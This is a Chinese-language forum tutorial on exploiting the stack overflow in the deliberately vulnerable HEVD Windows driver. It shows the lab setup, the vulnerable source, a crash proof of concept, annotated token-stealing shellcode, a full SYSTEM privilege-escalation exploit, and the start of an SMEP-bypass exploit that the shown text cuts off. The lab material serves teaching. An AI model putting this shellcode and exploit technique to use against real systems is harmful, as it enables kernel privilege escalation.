首页
社区
课程
招聘
问答 CTF 排行榜 知识库 工具下载 峰会 看雪商城 证书查询
  1. 社区
  2. WEB安全
    3. 发新帖
[原创]Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
发表于: 2021-6-26 15:47 953

[原创]Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow

Gcow安全团队 活跃值
2021-6-26 15:47
953

Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow

1
2
3
4
5
1.本文一共4556个字 20张图 预计阅读时间17分钟
2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章是Windows Kernel Exploitation Notes系列文章的第一篇HEVD Stack Overflow
4.本篇文章十分适合漏洞安全研究人员进行交流学习
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽

0x00 Environment

  1. Download OSR Loader 3.0：[OSROnline]http://www.osronline.com/OsrDown.cfm/osrloaderv30.zip?name=osrloaderv30.zip&id=157
  2. Download HEVD Source Code & HEVD_3.0：[Github]https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/releases/tag/v3.00

搭建Windbg+VMware双机调试环境可参阅[配置WinDbg,调试操作系统(双机调试)]https://d1nn3r.github.io/2019/02/23/windbgConnectVM一文，笔者最终使用环境如下：

  • 物理机OS：Windows 10 20H2 x64
  • 物理机WinDbg：10.0.17134.1
  • 虚拟机OS：Windows 7 SP1 x86
  • VMware：VMware Workstation 15 Pro
  • Visual Studio 2019

0x01 Foundation Knowledge

关于编写驱动程序微软提供[示例]https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver偏简单，故笔者从Github上找到另一[示例]https://gist.github.com/hasherezade/ee1a1914dfa2920c77e82fd52717a8fb。如何安装WDK，创建项目及添加源文件不再赘述，可参阅[微软示例]https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver。驱动程序中源文件代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
// Sample "Hello World" driver
// creates a HelloDev, that expects one IOCTL
 
#include <ntddk.h>
 
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)   //#define CTL_CODE(DeviceType, Function, Method, Access) (  ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
 
#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"
#define DEV_NAME L"\\Device\\HelloDev"
 
/// <summary>
/// IRP Not Implemented Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return STATUS_NOT_SUPPORTED;
}
 
/// <summary>
/// IRP Create Close Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_SUCCESS;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return STATUS_SUCCESS;
}
 
/// <summary>
/// IRP Unload Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <returns>NTSTATUS</returns>
VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) {
    UNICODE_STRING DosDeviceName = { 0 };
 
    PAGED_CODE();
 
    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
 
    // Delete the symbolic link
    IoDeleteSymbolicLink(&DosDeviceName);
 
    // Delete the device
    IoDeleteDevice(DriverObject->DeviceObject);
 
    DbgPrint("[!] Hello Driver Unloaded\n");
}
 
/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
 
    if (IrpSp) {
        switch (IoControlCode) {
        case HELLO_DRV_IOCTL:
            DbgPrint("[< HelloDriver >] Hello from the Driver!\n");
            break;
        default:
            DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
            Status = STATUS_INVALID_DEVICE_REQUEST;
            break;
        }
    }
 
    Irp->IoStatus.Status = Status;
    Irp->IoStatus.Information = 0;
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return Status;
}
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
    UINT32 i = 0;
    PDEVICE_OBJECT DeviceObject = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    UNICODE_STRING DeviceName, DosDeviceName = { 0 };
 
    UNREFERENCED_PARAMETER(RegistryPath);
    PAGED_CODE();
 
    RtlInitUnicodeString(&DeviceName, DEV_NAME);
    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
 
    DbgPrint("[*] In DriverEntry\n");
 
    // Create the device
    Status = IoCreateDevice(DriverObject,
        0,
        &DeviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &DeviceObject);
 
    if (!NT_SUCCESS(Status)) {
        if (DeviceObject) {
            // Delete the device
            IoDeleteDevice(DeviceObject);
        }
 
        DbgPrint("[-] Error Initializing HelloDriver\n");
        return Status;
    }
 
    // Assign the IRP handlers
    for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
        // Disable the Compiler Warning: 28169
#pragma warning(push)
#pragma warning(disable : 28169)
        DriverObject->MajorFunction[i] = IrpNotImplementedHandler;
#pragma warning(pop)
    }
 
    // Assign the IRP handlers for Create, Close and Device Control
    DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
 
    // Assign the driver Unload routine
    DriverObject->DriverUnload = IrpUnloadHandler;
 
    // Set the flags
    DeviceObject->Flags |= DO_DIRECT_IO;
    DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
 
    // Create the symbolic link
    Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
 
    // Show the banner
    DbgPrint("[!] HelloDriver Loaded\n");
 
    return Status;
}

禁用Spectre缓解：

 

图1

 

修改目标系统版本及平台：

 

图2

 

生成后将所有文件复制进虚拟机。尽管微软推荐使用[PnPUtil]https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil进行驱动安装，但其于Win7系统下提供功能极少：

 

图3

 

故笔者采用OSRLoader进行驱动安装及启用：

 

图4

 

WinDbg中查看，加载成功：

 

图5

 

之后编译主程序，其负责向驱动程序发出请求：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// Sample app that talks with the HelloDev (Hello World driver)
 
#include <stdio.h>
#include <windows.h>
 
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
 
const char kDevName[] = "\\\\.\\HelloDev";
 
HANDLE open_device(const char* device_name)
{
    HANDLE device = CreateFileA(device_name,
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
    );
    return device;
}
 
void close_device(HANDLE device)
{
    CloseHandle(device);
}
 
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
    //prepare input buffer:
    DWORD bufSize = 0x4;
    BYTE* inBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
 
    //fill the buffer with some content:
    RtlFillMemory(inBuffer, bufSize, 'A');
 
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(device,
        ioctl_code,
        inBuffer,
        bufSize,
        NULL, //outBuffer -> None
        0, //outBuffer size -> 0
        &size_returned,
        NULL
    );
    //release the input bufffer:
    HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);
    return is_ok;
}
 
int main()
{
    HANDLE dev = open_device(kDevName);
    if (dev == INVALID_HANDLE_VALUE) {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
 
    send_ioctl(dev, HELLO_DRV_IOCTL);
 
    close_device(dev);
    system("pause");
    return 0;
}

编译完成后复制进虚拟机。WinDbg执行ed nt!Kd_Default_Mask 8命令，如此一来便可查看DbgPrint函数输出结果。执行虚拟机中主程序：

 

图6

 

下面于WinDbg中查看由主程序DeviceIoControl函数执行到驱动程序IrpDeviceIoCtlHandler函数经过哪些函数。首先于驱动程序IrpDeviceIoCtlHandler函数处设断，虚拟机中执行主程序，成功断下后kb命令输出结果：

1
2
3
4
5
6
7
8
9
10
00 9998dafc 83e7f593 88593e20 885a5738 885a5738 KMDFHelloWorld!IrpDeviceIoCtlHandler
01 9998db14 8407399f 866b0430 885a5738 885a57a8 nt!IofCallDriver+0x63
02 9998db34 84076b71 88593e20 866b0430 00000000 nt!IopSynchronousServiceTail+0x1f8
03 9998dbd0 840bd3f4 88593e20 885a5738 00000000 nt!IopXxxControlFile+0x6aa
04 9998dc04 83e861ea 00000020 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
05 9998dc04 770a70b4 00000020 00000000 00000000 nt!KiFastCallEntry+0x12a
06 0013f9a8 770a5864 752f989d 00000020 00000000 ntdll!KiFastSystemCallRet
07 0013f9ac 752f989d 00000020 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
08 0013fa0c 75e1a671 00000020 00222003 001a2630 KernelBase!DeviceIoControl+0xf6
09 0013fa38 00d21929 00000020 00222003 001a2630 kernel32!DeviceIoControlImplementation+0x80

其中0x00d21929地址对应主程序中cmp esi, esp(call ds:__imp__DeviceIoControl@32下一条指令)：

 

图7

 

其传递给KernelBase!DeviceIoControl第二个参数0x00222003即驱动程序IrpDeviceIoCtlHandler函数中switch判断的IoControlCode：

 

图8

0x02 HEVD—Stack Overflow

首先查看HEVD源码，其源码位于HackSysExtremeVulnerableDriver-3.00\Driver\HEVD目录下。HackSysExtremeVulnerableDriver.c文件与上述部分驱动程序示例结构类似，不再另行赘述。本节对其BufferOverflowStack.c文件：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include "BufferOverflowStack.h"
 
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA
 
 
/// <summary>
/// Trigger the buffer overflow in Stack Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <param name="Size">Size of the user mode buffer</param>
/// <returns>NTSTATUS</returns>
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        //
 
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
 
        //
        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        //
 
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
 
 
/// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS BufferOverflowStackIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    SIZE_T Size = 0;
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();
 
    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
 
    if (UserBuffer)
    {
        Status = TriggerBufferOverflowStack(UserBuffer, Size);
    }
 
    return Status;
}

漏洞位于RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);一句，其在复制时使用UserBuffer长度，且未进行校验，如此一来，若UserBuffer长度超过KernelBuffer长度，可造成溢出。KernelBuffer长度在初始化时为0x800：

 

图9

 

下面为触发漏洞POC：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <windows.h>
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
 
int main()
{
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
    if (dev == INVALID_HANDLE_VALUE)
    {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
    printf("Done! Device Handle:0x%p\n",dev);
    CHAR* chBuffer;
    int chBufferLen = 0x824;
    chBuffer = (CHAR*)malloc(chBufferLen);
    ZeroMemory(chBuffer, chBufferLen);
    memset(chBuffer, 0x41, chBufferLen);
 
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL);
    CloseHandle(dev);
    system("pause");
    return 0;
}

int chBufferLen = 0x824;正好可以覆盖到函数返回地址：

 

图10

 

图11

 

完成覆盖，BSOD：

 

图12

 

图13

 

上述POC仅仅是引发崩溃，下面编写Exp以执行Shellcode。Shellcode如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CHAR shellcode[] =
        "\x60"                            //pushad
        "\x31\xc0"                        //xor eax, eax
        "\x64\x8b\x80\x24\x01\x00\x00"    //mov eax,[fs:eax + 0x124]
        "\x8b\x40\x50"                    //mov eax,[eax + 0x50]
        "\x89\xc1"                        //mov ecx,eax
        "\xba\x04\x00\x00\x00"            //mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"        //mov eax,[eax + 0xb8]<----
        "\x2d\xb8\x00\x00\x00"            //sub eax,0xb8            |
        "\x39\x90\xb4\x00\x00\x00"        //cmp[eax + 0xb4],edx        |
        "\x75\xed"                        //jnz  --------------------
        "\x8b\x90\xf8\x00\x00\x00"        //mov edx,[eax + 0xf8]
        "\x89\x91\xf8\x00\x00\x00"        //mov[ecx + 0xf8],edx
        "\x61"                            //popad
        "\x31\xc0"                        //xor eax,eax
        "\x5d"                            //pop ebp
        "\xc2\x08\x00"                    //ret 0x8
        ;

pushad与popad及后续指令用于恢复执行环境，详见后文。mov eax,[fs:eax + 0x124]功能是获取CurrentThread指针内容，fs:[0]存储的是_KPCR结构：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ntdll!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : Ptr32 Void
   +0x008 Spare2           : Ptr32 Void
   +0x00c TssCopy          : Ptr32 Void
   +0x010 ContextSwitches  : Uint4B
   +0x014 SetMemberCopy    : Uint4B
   +0x018 Used_Self        : Ptr32 Void
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   +0x024 Irql             : UChar
   +0x028 IRR              : Uint4B
   +0x02c IrrActive        : Uint4B
   +0x030 IDR              : Uint4B
   +0x034 KdVersionBlock   : Ptr32 Void
   +0x038 IDT              : Ptr32 _KIDTENTRY
   +0x03c GDT              : Ptr32 _KGDTENTRY
   +0x040 TSS              : Ptr32 _KTSS
   +0x044 MajorVersion     : Uint2B
   +0x046 MinorVersion     : Uint2B
   +0x048 SetMember        : Uint4B
   +0x04c StallScaleFactor : Uint4B
   +0x050 SpareUnused      : UChar
   +0x051 Number           : UChar
   +0x052 Spare0           : UChar
   +0x053 SecondLevelCacheAssociativity : UChar
   +0x054 VdmAlert         : Uint4B
   +0x058 KernelReserved   : [14] Uint4B
   +0x090 SecondLevelCacheSize : Uint4B
   +0x094 HalReserved      : [16] Uint4B
   +0x0d4 InterruptMode    : Uint4B
   +0x0d8 Spare1           : UChar
   +0x0dc KernelReserved2  : [17] Uint4B
   +0x120 PrcbData         : _KPRCB

其偏移0x120处存储的是_KPRCB：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ntdll!_KPRCB
   +0x000 MinorVersion     : Uint2B
   +0x002 MajorVersion     : Uint2B
   +0x004 CurrentThread    : Ptr32 _KTHREAD
   +0x008 NextThread       : Ptr32 _KTHREAD
   +0x00c IdleThread       : Ptr32 _KTHREAD
   +0x010 LegacyNumber     : UChar
   +0x011 NestingLevel     : UChar
   +0x012 BuildType        : Uint2B
   +0x014 CpuType          : Char
   +0x015 CpuID            : Char
   +0x016 CpuStep          : Uint2B
   +0x016 CpuStepping      : UChar
   +0x017 CpuModel         : UChar
   +0x018 ProcessorState   : _KPROCESSOR_STATE
    ......

故mov eax,[fs:eax + 0x124]指令中0x124偏移用于获取_KPRCB中CurrentThread指向内容。_KTHREAD偏移0x40处存储的是_KAPC_STATE：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ntdll!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 CycleTime        : Uint8B
   +0x018 HighCycleTime    : Uint4B
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr32 Void
   +0x02c StackLimit       : Ptr32 Void
   +0x030 KernelStack      : Ptr32 Void
   +0x034 ThreadLock       : Uint4B
   +0x038 WaitRegister     : _KWAIT_STATUS_REGISTER
   +0x039 Running          : UChar
   +0x03a Alerted          : [2] UChar
   +0x03c KernelStackResident : Pos 0, 1 Bit
   +0x03c ReadyTransition  : Pos 1, 1 Bit
   +0x03c ProcessReadyQueue : Pos 2, 1 Bit
   +0x03c WaitNext         : Pos 3, 1 Bit
   +0x03c SystemAffinityActive : Pos 4, 1 Bit
   +0x03c Alertable        : Pos 5, 1 Bit
   +0x03c GdiFlushActive   : Pos 6, 1 Bit
   +0x03c UserStackWalkActive : Pos 7, 1 Bit
   +0x03c ApcInterruptRequest : Pos 8, 1 Bit
   +0x03c ForceDeferSchedule : Pos 9, 1 Bit
   +0x03c QuantumEndMigrate : Pos 10, 1 Bit
   +0x03c UmsDirectedSwitchEnable : Pos 11, 1 Bit
   +0x03c TimerActive      : Pos 12, 1 Bit
   +0x03c SystemThread     : Pos 13, 1 Bit
   +0x03c Reserved         : Pos 14, 18 Bits
   +0x03c MiscFlags        : Int4B
   +0x040 ApcState         : _KAPC_STATE
    ......

_KAPC_STATE偏移0x10处存储的是指向_KPROCESS指针：

1
2
3
4
5
6
ntdll!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar

而_EPROCESS结构第一项即为_KPROCESS，故获取到指向_KPROCESS指针等同于获取到_EPROCESS地址：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER
   +0x0a8 ExitTime         : _LARGE_INTEGER
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   +0x0d0 CommitCharge     : Uint4B
   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK
   +0x0dc PeakVirtualSize  : Uint4B
   +0x0e0 VirtualSize      : Uint4B
   +0x0e4 SessionProcessLinks : _LIST_ENTRY
   +0x0ec DebugPort        : Ptr32 Void
   +0x0f0 ExceptionPortData : Ptr32 Void
   +0x0f0 ExceptionPortValue : Uint4B
   +0x0f0 ExceptionPortState : Pos 0, 3 Bits
   +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE
   +0x0f8 Token            : _EX_FAST_REF
    ......

由此mov eax,[eax + 0x50]指令中0x50偏移用于获取_EPROCESS。通过ActiveProcessLinks字段可以实现进程遍历(mov eax,[eax + 0xb8]与sub eax,0xb8)，查找UniqueProcessId字段等于4的进程(System进程PID为4，cmp[eax + 0xb4],edx)。最后通过mov edx,[eax + 0xf8]与mov[ecx + 0xf8],edx两条指令替换Token。

 

xor eax,eax;pop ebp;retn 8返回STATUS_SUCCESS给IrpDeviceIoCtlHandler函数：

 

图14

 

完整Exploit如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <windows.h>
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
 
int main()
{
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
    if (dev == INVALID_HANDLE_VALUE)
    {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
    printf("Done! Device Handle:0x%p\n",dev);
    CHAR* chBuffer;
    int chBufferLen = 0x824;
    chBuffer = (CHAR*)malloc(chBufferLen);
    ZeroMemory(chBuffer, chBufferLen);
    memset(chBuffer, 0x41, chBufferLen-4);
    CHAR* p =(CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
    ZeroMemory(p, 0x60);
    __asm {
        pushad;
        mov edi, p;
        mov [edi], 0x60;
        mov dword ptr [edi + 0x1], 0x8B64C031;
        mov dword ptr [edi + 0x5], 0x00012480;
        mov dword ptr [edi + 0x9], 0x50408B00;
        mov dword ptr [edi + 0xD], 0x04BAC189;
        mov dword ptr [edi + 0x11], 0x8B000000;
        mov dword ptr [edi + 0x15], 0x0000B880;
        mov dword ptr [edi + 0x19], 0x00B82D00;
        mov dword ptr [edi + 0x1D], 0x90390000;
        mov dword ptr [edi + 0x21], 0x000000B4;
        mov dword ptr [edi + 0x25], 0x908BED75;
        mov dword ptr [edi + 0x29], 0x000000F8;
        mov dword ptr [edi + 0x2D], 0x00F89189;
        mov dword ptr [edi + 0x31], 0x31610000;
        mov dword ptr [edi + 0x35], 0x08C25DC0;
        mov eax, chBuffer;
        mov[eax + 0x820], edi;
        popad;
    }
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(dev,HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL);
    CloseHandle(dev);
    system("cmd.exe");
    system("pause");
    return 0;
}

成功：

 

图15

0x03 Bypass SMEP & SMAP

SMEP(Supervisor Mode Execution Prevention)由Intel lvy Bridge引入，从Windows 8开始启用该特性，其作用在于禁止RING-0执行用户空间代码，而SMAP(Supervisor Mode Access Prevention)由Intel Broadwell引入，相较SMEP增加读与写保护：

 

图16

 

图17

 

设置SMEP与SMAP位于CR4寄存器中：

 

图18

 

本节内容笔者于Windows 10 1709 x64环境中调试完成(Exp并未执行成功，但笔者从中学到如何获取内核基址以及绕过SMEP)，内核版本如下：

Windows 10 Kernel Version 16299 MP (1 procs) Free x64
Built by: 16299.637.amd64fre.rs3_release_svc.180808-1748

 

查看CR4寄存器内容：

 

图19

 

可以看到已启用SMEP。完整Exploit如下(来自[h0mbre's Github]https://github.com/h0mbre/Windows-Exploits/blob/master/Exploit-Code/HEVD/x64_StackOverflow_SMEP_Bypass.cpp)：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#include <iostream>
#include <string>
#include <Windows.h>
 
using namespace std;
 
#define DEVICE_NAME             "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL                   0x222003
 
typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    ULONG                Reserved3;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 LoadCount;
    WORD                 NameOffset;
    CHAR                 Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
 
typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
 
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 0xb
} SYSTEM_INFORMATION_CLASS;
 
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );
 
HANDLE grab_handle() {
 
    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
